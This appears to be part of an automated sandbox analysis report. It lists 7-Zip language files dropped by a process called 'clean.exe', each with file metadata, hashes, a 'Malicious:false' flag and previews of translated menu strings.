                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.09 : Petri Jooste..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Afrikaans..Afrikaans..401..OK..Kanselleer........&Ja..&Nee..A&fsluit..Hulp....&Gaan voort..440..Ja vir &almal..Nee vir a&lmal..Stop..Herbegin..&Agtergrond..&Voorgrond..&Wag..Wagtend..Is u seker dat u wil kanselleer?..500..&L.er..R&edigeer..&Vertoon..G&unstelinge..&Gereedskap..&Hulp..540..&Open..Open &Binne..Open B&uite..&Wys..R&edigeer..Her&noem..&Kopieer na.....&Verskuif na.....Ve&rwyder..Ver&deel l.er.....Kom&bineer l.ers.....E&ienskappe..Komme&ntaar......Maak gids..Maak l.er..A&fsluit..600..Selekteer &alles..Deselekteer a&lles..Keer &seleksie om..Selekteer.....Deselekteer.....Selekteer op Soort..Deselekteer op Soort..700..&Groot ikone..&Klein ikone..&Lys..&Detail..730..Ongesorteer....&2 Panele..&Nutsbalke..Maak wortelgids oop..Een vlak ho.r..Gidse geskiedenis.....&Verfris..750..Argiveernutsbalk..Standaardnutsbalk..Groot knoppies..Wys teks op knoppies..800..Voeg gids by gunstelinge &as..Boekmerk

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\an.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):7885
                                                                                                                                                                                                                                                                  Entropy (8bit):4.947119682698004
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:ifEAGRBQ0p/74r5jMdDTSBXgDQ7V8vBOC:iV5o74r5jMdY8l
                                                                                                                                                                                                                                                                  MD5:BF8564B2DAD5D2506887F87AEE169A0A
                                                                                                                                                                                                                                                                  SHA1:E2D6B4CF90B90E7E1C779DD16CBEF4C787CBD7CF
                                                                                                                                                                                                                                                                  SHA-256:0E8DD119DFA6C6C1B3ACA993715092CDF1560947871092876D309DBC1940A14A
                                                                                                                                                                                                                                                                  SHA-512:D3924C9397DC998577DD8CB18CC3EA37360257D4F62DD0C1D25B4D4BF817E229768E351D7BE0831C53C6C9C56593546E21FD044CF7988E762FB0A04CD2D4EC81
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : Feliciano Mart.nez Tur..; 9.07 : Juan Pablo Mart.nez..;..;..;..;..;..;..;..;..;..0..7-Zip..Aragonese..Aragon.s..401..Acceptar..Cancelar........&S...&No..&Zarrar..Aduya....&Continar..440..S. a &tot..No a t&ot..Aturar..Tornar a empecipiar..Se&gundo plano..P&rimer plano..&Pausa..Aturau..Yes seguro que quiers cancelar?..500..&Fichero..&Editar..&Veyer..&Favoritos..&Ferramientas..Ad&uya..540..&Ubrir..Ubrir &adintro..Ubrir &difuera..&Veyer..&Editar..Re&nombrar..&Copiar en.....&Mover ta.....&Borrar..Di&vidir o fichero.....C&ombinar os fichers.....&Propiedatz..Comen&tario..Calcular a suma de comprebaci.n..Diff..Creyar carpeta..Creyar fichero..&Salir..600..Seleccionar-lo &tot..Deseleccionar-lo tot..&Invertir selecci.n..Seleccionar.....Deseleccionar.....Seleccionar por tipo..Deseleccionar por tipo..700..Iconos g&rans..&Iconos chicotz..&Lista..&Detalles..730..Desordenau..Anvista plana..&2 panels..&Barras de ferramientas..Ubrir a carpeta radiz..Carpeta mai..Hi

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ar.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):12595
                                                                                                                                                                                                                                                                  Entropy (8bit):4.331642985817058
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:384:iIyAkjienRBEQWWKTAw3QbCG7nNty1xh9VUHp2BT:h4i2RyQWW28CG7nNg1xh9K2BT
                                                                                                                                                                                                                                                                  MD5:2986ED5C943B054EFE46488B2DB2DB4E
                                                                                                                                                                                                                                                                  SHA1:C4BE4F361669D7A4D78E0C19EA57533A6CB630E5
                                                                                                                                                                                                                                                                  SHA-256:619D7F4939A593A9512E1392D68D1F5330FD74B6636120240AFD623FF64E30BF
                                                                                                                                                                                                                                                                  SHA-512:60C30FAFFE2554A12D01F1DEAB7F8DBA19B116F22B508F17591BC13F39D99C9D8892A72186A7F1AD835B474BA2F8095C83859CDE940CC13FC09496C93F283346
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 9.07 :............:... ..-.... ....... ..; 9.07 : Awadh A Al-Ghaamdi..;..; 15.00 : 2016-08-28 : ..... ...... .......: ... .... ........; 15.00 : 2016-08-28 : Saif H Al-asadi (edited and corrected) ..;..;..;..;..;..;..0..7-Zip..Arabic........401............. .............&.....&....&...................&.........440..... ........ .................. .......&..........&..........&..... ........... ......... ... ..... .. ..........500..&.......&.........&...........&.......&.........&..........540..&.....&.... .........&.... ........&.....&............ .............. .......... .....&.....&..... ............&. ...............&...........&...... ...

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ast.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):5441
                                                                                                                                                                                                                                                                  Entropy (8bit):5.035427575683163
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:igvORz1nEaS5HgVSkcy1wKv1HNL/P637I4U6/tMjmQW2FtlinC:iZVt4kccwKNtL/P637I4UqIxiC
                                                                                                                                                                                                                                                                  MD5:1F86AE235BC747A279C9E9EC72675CE4
                                                                                                                                                                                                                                                                  SHA1:4A67757FA535978021D794D8D2392D3028350686
                                                                                                                                                                                                                                                                  SHA-256:8FCD1B8CE6FED05F406C4B81AEA821132800BC494D3FD6F42A4258A81F8998EC
                                                                                                                                                                                                                                                                  SHA-512:216500B5451B84A4882729307B6EA952688550E109A0AFBB0D67DB0F882F642E5D9E8DD2FC86591C4B2D49658FC7434294CADCD1D2322119FBD1F46190EFB7E5
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.07 : Dinamiteru..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Asturian..Asturianu..401..Val..Torgar........&Si..&Non..&Zarrar..Axuda....&Siguir..440..Si a &Too..Non a T&oo..Parar..Reentamar..&De fondu..&En primer planu..&Posar..Posao...Tas fixu que quies paralo?..500..F&icheru..&Remanar..&Ver..F&avoritos..&Ferramientes..A&xuda..540..&Abrir..Abrir &Dientro..Abrir F&uera..&Ver..&Remanar..Reno&mar..&Copiar a.....&Mover a.....&Borrar..&Partir ficheru.....Com&binar ficheros.....P&ropiedaes..Come&ntariu......Crear carpeta..Crear ficheru..Co&lar..600..Seleicionar &Too..Deseleicionar too..&Invertir seleici.n..Seleicionar.....Deseleicionar.....Seleicionar por Tipu..Deseleicionar por Tipu..700..Miniatures &Grandes..&Miniatures Peque.es..&Llista..&Detalles..730..Ens.n Ordenar....&2 Paneles..&Barres de Ferramientes..Abrir Carpeta Raiz..Xubir Un Nivel..Hestorial de Carpetes.....Actualiza&r..750..Barra Ferramientes d.Archivu..Barra Ferramientes Normal..Botones Grandes..Amos

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\az.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):9625
                                                                                                                                                                                                                                                                  Entropy (8bit):5.375676523076257
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iQMqAQbtI+SY+oEDQM0ia9mh/Vg/HksiM0ko3gvje2ojVPC1vUZzxEBa2U:i7SrSYzEsMDV4P0kggv6pCahxEwr
                                                                                                                                                                                                                                                                  MD5:81B732A8B4206FB747BFBFE524DDE192
                                                                                                                                                                                                                                                                  SHA1:4D596B597CF25FF8D8B43708E148DB188AF18EF9
                                                                                                                                                                                                                                                                  SHA-256:CAEC460E73BD0403C2BCDE7E773459BEA9112D1BFACBE413D4F21E51A5762BA6
                                                                                                                                                                                                                                                                  SHA-512:8667BFF18A26FE5B892ECFDC8D9C78ECC5659B42C482E1F9E6EB09F7CF5E825584851CD4E9A00F5C62D3096D24CC9664F8223C036A4F2F6E9C568269B2FBB956
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 9.07 : F@rhad..; 15.02 : 2015-03-29 : .. .........; ..;..;..;..;..;..;..;..;..0..7-Zip..Azerbaijani..Az.rbaycanca..401..OLDU...mtina........&B.li..&Xeyr..&Ba.lamaq..K.m.k....&Davam..440..&Ham.s.na B.li..Ha&m.s.na Xeyr..Dayan..Yenid.n ba.lamaq..&Arxa planda...&nd...F&asil...Fasil.d...H.qiq.t.n .m.liyyat. dayand.rmaq ist.yirsiniz?..500..&Fayl..&D.z.li...&G.r.n....S&e.ilmi.l.r..&Vasit.l.r..&Aray....540..&A.maq..&Daxild. A.maq..B&ay.rda a.maq..&Bax....&D.z.li...Ye&nid.n Adland.rmaq..&N.sx.l.m.k.....&K...rm.k.....&Silm.k..Fayl. &B.lm.k.....Fayllar. B&irl..dirm.k.....X&.susiyy.tl.r....r&h.....Yoxlama C.mi..M.qayis...Qovluq Yaratmaq..Fayl Yaratmaq...&.x.....stinad..&.v.zedici Ax.nlar..600..&Ham.s.n. Se.m.k..Se.imin L..vi..&Se.imi .evirm.k..Se.m.k.....Se.imin L..vi.....N.v.n. G.r. Se.m.k..N.v.n. G.r. Se.imin L..vi..700..&B.y.k ..ar.l.r..K&i.ik

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ba.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):11261
                                                                                                                                                                                                                                                                  Entropy (8bit):4.710389021145071
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:ikNx8wxsv75EMVB1m6pP3z/WxdxbpXuBwBMzByzVHQnlBJ7a/NMIMx:ikLhsv75EMVB1m6pP3dzk5ww/NMIq
                                                                                                                                                                                                                                                                  MD5:D83B65AC086DA0C94D6EB57BEE669C2B
                                                                                                                                                                                                                                                                  SHA1:6210F62D41D44CC280F44B39ACCF10DA28424B75
                                                                                                                                                                                                                                                                  SHA-256:2901B54F7621C95429658CB4EDB28ABD0CB5B6E257C7D9A364FC468A8B86BAAE
                                                                                                                                                                                                                                                                  SHA-512:56C7ECB4223103D81FFD11C214CCEAC20E7770B82FBC78A5E82E6DD9D589CC319D4689BB6D9027E5D272097E1B33DDBA27A8414FCBC29F9EF68329E343004222
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 9.20 : Haqmar : www.bashqort.com..; ..;..;..;..;..;..;..;..;..;..0..7-Zip..Bashkir.............401............. ..........&.....&....&.............&.......440.......... .. .&......&...... .. ................. .......&..... .........&... ........&........ ................. .... ....... .. ...... ............?..500..&........&......&..........&............&........&.........540..&........&...... ........&..... ..........&.....&...............&...... .............&.................&............&.............. &............... ...&................&..........&................. ......Diff..... ............. &..........&.

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\be.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):12193
                                                                                                                                                                                                                                                                  Entropy (8bit):4.4720152705808935
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:i2PDEeaNB1PmcptkcDHxbTvPnc67bMxQxGx4ch/JuLQRcg/oN96bPNljYiYr197:ikDFKBFmcPLx3HPnIsqrJuqcgAN96b87
                                                                                                                                                                                                                                                                  MD5:3C21135144AC7452E7DB66F0214F9D68
                                                                                                                                                                                                                                                                  SHA1:B1EC0589D769EAB5E4E8F0F8C21B157EF5EBB47D
                                                                                                                                                                                                                                                                  SHA-256:D095879B8BBC67A1C9875C5E9896942BACF730BD76155C06105544408068C59E
                                                                                                                                                                                                                                                                  SHA-512:0446A0E2570A1F360FD8700FD4C869C7E2DBB9476BBDEC2526A53844074C79691542B91455343C50941B8A6D5E02A58EE6AA539CC4C4AE9CF000B4034EF663E2
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : Kirill Gulyakevitch..; 9.07 : 2011-03-15 : Drive DRKA..;..;..;..;..;..;..;..;..;..0..7-Zip..Belarusian..............401..OK................&.....&....&......................&............440..... ... &........ ... .&.......................&.......&.. ....... ......&......... ......... ........ ....... .......... ........?..500..&......&........&........&..........&.......&.........540..&................ &................... .&................&................&.........&......... ......&........... ......&............&..... ..........&.'...... .............&...........&................. ......Diff..&........ .

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\bg.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):13231
                                                                                                                                                                                                                                                                  Entropy (8bit):4.264061628389684
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:384:i6jWFsfLEnlztmkbjX8jD5VqWMTlHdr8vwyFSH:tfghGufHdrLyFA
                                                                                                                                                                                                                                                                  MD5:833AFB4F88FDB5F48245C9B65577DC19
                                                                                                                                                                                                                                                                  SHA1:1A6E013226BE42CD2D2872B1E6E5747FAB65FE8A
                                                                                                                                                                                                                                                                  SHA-256:4DCABCC8AB8069DB79143E4C62B6B76D2CF42666A09389EACFC35074B61779E3
                                                                                                                                                                                                                                                                  SHA-512:05BBC7ABCFD0A0B7C3305C860B6372871CF3927BBE1790351485A315166E4CBDF8D38D63E01B677BDBA251CE52DA655F20B2D44B997D116A1794C7B3EB61EF31
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : chavv..; : icobgr..; 4.65 : Vassia Atanassova..;..;..;..;..;..;..;..;..0..7-Zip..Bulgarian.............401..OK...............&....&....&......................&............440.... .. &.......... .. &................ ........&..... .......&........ .......&........ ............... .. ....... .. ..........?..500..&......&.............&...........&........&.............&.......540..&.................. &........... &.......&...........&.................&..........&........ .........&........ ........&..........&........ .. ..........&.......... .. ............&.............&.................. .. ......... ..

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\bn.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):15062
                                                                                                                                                                                                                                                                  Entropy (8bit):4.039346182307332
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iM+g4O23sZEstg+lTr++0Mx148IiZaXTXEU10bXYc+4/rexX4:iMyc2stg+lTr++0MQ8DZRDYc+4axI
                                                                                                                                                                                                                                                                  MD5:D0E788F64268D15B4391F052B1F4B18A
                                                                                                                                                                                                                                                                  SHA1:2FD8E0A9DD22A729D578536D560354C944C7C93E
                                                                                                                                                                                                                                                                  SHA-256:216CC780E371DC318C8B15B84DE8A5EC0E28F712B3109A991C8A09CDDAA2A81A
                                                                                                                                                                                                                                                                  SHA-512:D50EA673018472C17DB44B315F4C343A2924A2EAA95C668D1160AA3830533CA37CC13C2067911A0756F1BE8C41DF45669ABE083759DCB9436F98E90CBB6AC8BF
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.46 : Team Oruddho (Fahad Mohammad Shaon, Mahmud Hassan) : http://www.oruddho.com..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Bangla.........401..... ..................&.......&....&.... ................&...... .......440..&....... .... ........&...... .... .............. ......&........& .......&.............. ............... ..... .... ......?..500..&......&..................&..&.......&........&........540..&........ .....7-zip-. ........ ........... ........ .....&..........&............. ...

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\br.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):5481
                                                                                                                                                                                                                                                                  Entropy (8bit):5.038469038724424
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:iObQ+ICvu43NfsbvpRJ7mP1Yk1ZjZM4bTkukeeaC7AQnRB12tjDZqqHrbqfx3BdD:i7+IMrfIpP6dYc1W43Ae1iAQnRG1ZqqS
                                                                                                                                                                                                                                                                  MD5:C2EB67D788756BE5ECAA0A8CFB3D1E0B
                                                                                                                                                                                                                                                                  SHA1:0636E7FBA4EC0FD12F93347451B5690C7B0BF788
                                                                                                                                                                                                                                                                  SHA-256:0F6BF6749C42C844980DB32EE56CADC987CE245EF650BC7D626D56468A7CBE6A
                                                                                                                                                                                                                                                                  SHA-512:0F98317078723D35553F8252FF9E37A997C90276FBB18359247AA257FC7630B7F6A0C6F6B02AC0A06AFD33CCA56C77A01494E04FC1A4CE43DED0D40F9F18DD42
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 3.12 : KAD-Korvigello. An Drouizig (drouizig.org)...;..;..;..;..;..;..;..;..;..;..0..7-Zip..Breton..Brezhoneg..401..Mat eo..Nulla.........&Ya..&Ket..&Serri...Skoazell....&Kenderc'hel..440..Ya be&pred..Ket &bepred..Paouez..Adloc'ha...&Drekleur..&Rakleur..&Ehan..Ehanet..Ha fellout a ra deoc'h nulla. ?..500..&Restr..&Aoza...&Gwelout..Di&babo...&Ostilho...&Skoazell..540..&Digeri...Digeri. a-zia&barzh..Digeri. a-zia&vaez..&Gwelout..&Aoza...Adenv&el..&Kopia. diwar.....&Dilec'hia. diwar.....D&ilemel..&Troc'ha. restr.....&Kendeuzi. restro......P&erzhio...Evezhia&denn......Sevel un teul..Sevel ur restr..&Kuitaat..600..Diuz pep &tra..Diziuz pe tra..Lakaat an &diuzad war an tu gin..Diuz.....Diziuz.....Diuz diouzh ar rizh..Diziuz diouzh ar rizh..700..Arlunio. &bras..Arlunio. &bihan..&Roll..&Munudo...730..Dirummet....&2 brenestr..&Barrenno. ostilho...Digeri. an teul gwrizienn..Teul kerent..Roll istor an teul.....Fresk&aat..750..Barrenn ziell..Barrenn

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ca.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):9375
                                                                                                                                                                                                                                                                  Entropy (8bit):5.027798509110858
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iDNC5+TqX1VvwqqNZ3SE/ye3TmsZmpk0R6PeNJH+L/w3M0ZeDwDWBszBUe:iBhuX1OqqNZ39BDmfHB4yXBUe
                                                                                                                                                                                                                                                                  MD5:1657720023A267B5B625DE17BF292299
                                                                                                                                                                                                                                                                  SHA1:0045DFAFAFB9C9058F7D0D6A6C382959C5A67FE0
                                                                                                                                                                                                                                                                  SHA-256:ED8748DA8FA99DB775FF621D3E801E2830E6C04DA42C0B701095580191A700A6
                                                                                                                                                                                                                                                                  SHA-512:E7998F6484370E53DB9CDC80CD55070E408AA93161FA59E48C6E2B26462D6D3EB774C011212840EF1EB821A5BA067B6706CD4CA2BE00619AECD24A11E6CA136F
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 9.07 : Josep Casals, Marc Folch..;.17.01.: Benet..BennyBeat..R..i.Camps..;..;..;..;..;..;..;..;..;..0..7-Zip..Catalan..Catal...401..D'acord..Cancel.la........&S...&No..Tan&ca..Ajuda....&Continua..440..S. a &tot..No a t&ot..Atura..Re&inicia..Rere&fons..Prim&er pla..&Pausa..Pausat..Segur que voleu cancel.lar?..500..&Fitxer..&Edita..&Visualitza..&Preferits..E&ines..Aj&uda..540..&Obre..Obre d&ins..Obre &fora..&Visualitza..&Edita..Reanom&ena..&Copia a.....&Mou a.....&Suprimeix..&Divideix el fitxer.....Com&bina el fitxer.....P&ropietats..Come&ntari..Calcula la suma de verificaci...Compara..Crea una carpeta..Crea un fitxer..S&urt..Enlla&...Flux &alternatiu..600..Seleccion&a-ho tot..No seleccionis res..&Inverteix la selecci...Selecciona.....Desselecciona.....Selecciona per tipus..Desselecciona per tipus..700..Icones g&rans..Icones petites..&Llista..&Detalls..730..No ordenat..Vista plana..&2 Panells..&Barres d'eines..Obre la carpeta arrel..Carpeta pare..H

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\co.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):10395
                                                                                                                                                                                                                                                                  Entropy (8bit):4.952988126201345
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iKomSy8V+eLHX3uAQbu8damcflup8oq/uoYTIiPpwXSiFdzERE7K:iZMDeLHX3uAQC8da1f+qmoYTTOXS4z8L
                                                                                                                                                                                                                                                                  MD5:280C6601EC968152D326994075201A3C
                                                                                                                                                                                                                                                                  SHA1:AB018ED0711A6907B399FCE4BB670F4DD6165E78
                                                                                                                                                                                                                                                                  SHA-256:EEC122DE8B88727A6EB9069D3297EE8AEA792EEDBC47B7F587DE0E66C57DC266
                                                                                                                                                                                                                                                                  SHA-512:2F57A5069AF7C3E2584CB8850CFD0693AB2E82DF0135F747AD16FC37D9CC05AB85B4985CBEE4CF92D564CD5419541E59DF7CD265831691AD2A571DD07B9C7E45
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 15.00 : Patriccollu di Santa Maria . Sich...;..;..;..;..;..;..;..;..;..;..0..7-Zip..Corsican..Corsu..401..OK..Abbandun.........&I...I&nn...&Chjode..Aiutu....&Cuntinu...440..I. per &Tutti..Inn. per T&utti..Piant...Riavvi...&Arci pianu..P&rimu pianu..&Pausa..In pausa..Site sicuru di vul. abbandun. ?..500..&Schedariu..&Mudific...&Affiss...&Favuriti..A&ttrezzi..A&iutu..540..&Apre..Apre Den&tru..Apre F&ora..A&ffiss...&Mudific...&Rinum...&Cupi. Ver Di.....&Dispiazz. Ver Di.....S&quass...&Sparte u schedariu.....&Unisce i schedarii.....&Prupriet...Cumme&ntu.....Calcul. a somma di cuntrollu..Paragun. e sfarenze..Cre. un Cartulare..Cre. un Schedariu..&Esce..Leia..Flussi A&lternativi..600..Selezziun. &Tuttu...n selezziun. &Nunda..&Arritrus. a Selezzione..&Selezziun.......n selezziun. &micca.....Selezziun. da u Tipu...n Selezziun. da u Tipu..700..Icone &Mai...Icone &Chjuche..&Lista..&Detaglii..730..Non &Ordinatu..&Vista Sparta..&2 Finestr

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\cs.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):7691
                                                                                                                                                                                                                                                                  Entropy (8bit):5.376148966710272
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iNJElW5E3vz3rd+mDio+SXebu1JjSvcQW:iHI+8r3rQmDio+SXv1JjmW
                                                                                                                                                                                                                                                                  MD5:41879A6FDC9DE4D7AE6EE96FB18D9900
                                                                                                                                                                                                                                                                  SHA1:3854F6E36D8FBCBCE08DCFFC695D1CA9E9B04FB2
                                                                                                                                                                                                                                                                  SHA-256:F90E44F2D113C3B40F16744697CCA28C4E35B4FE7E278B368A0162893BBCCBA4
                                                                                                                                                                                                                                                                  SHA-512:7063F4327BEF507CFCCED0698A60A0A55F0FA79DD27D1D8991813030A84ACBF22AEC4A2218FDD1AD80DC01F3B70F2C437DF03EA4346BFA7E2B30A6F8A110F959
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.30 : Milan Hrub...; 4.33 : Michal Molhanec..; 9.07 : Ji.. Mal.k..;..;..;..;..;..;..;..;..0..7-Zip..Czech...e.tina..401..OK..Storno........&Ano..&Ne..Zav..&t..N.pov.da....Po&kra.ovat..440..Ano na &v.echno..N&e na v.echno..Zastavit..Spustit znovu..&Pozad...P&op.ed...Po&zastavit..Pozastaveno..Jste si jist., .e to chcete stornovat?..500..&Soubor...pr&avy..&Zobrazen...&Obl.ben...&N.stroje..N.po&v.da..540..&Otev..t..Otev..t u&vnit...Otev..t &mimo..&Zobrazit..&Upravit..&P.ejmenovat..Kop.rovat &do.....P.&esunout do.....Vymaza&t..&Rozd.lit soubor.....&Slou.it soubory.....Vlast&nosti..Pozn.mk&a..Vypo..tat kontroln. sou.et..Porovnat soubory..Vytvo.it slo.ku..Vytvo.it soubor..&Konec..600..Vybrat &v.e..Zru.it v.b.r v.e..&Invertovat v.b.r..Vybrat.....Zru.it v.b.r.....Vybrat podle typu..Zru.it v.b.r podle typu..700..&Velk. ikony..&Mal. ikony..&Seznam..&Podrobnosti..730..&Bez t..d.n..."Ploch." zobrazen...&2 p

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\cy.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF, CR line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):5278
                                                                                                                                                                                                                                                                  Entropy (8bit):5.064956751863463
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:iJsNrEk72eXm2pFX6NFYrIKwlQvvGtpoUYPti1La7g2XC0YsY0sq6eFnc:iONrD5vAabutpoUYP17g2OOhc
                                                                                                                                                                                                                                                                  MD5:0F5662A68805D859F871EDC07E766A57
                                                                                                                                                                                                                                                                  SHA1:AA4C9C1271FD5FFDC6076DDFE157D9FB8E0018B8
                                                                                                                                                                                                                                                                  SHA-256:931DE741A6C8F1348A946623776FE36C55DD2FC384C7B1478225F7467853199E
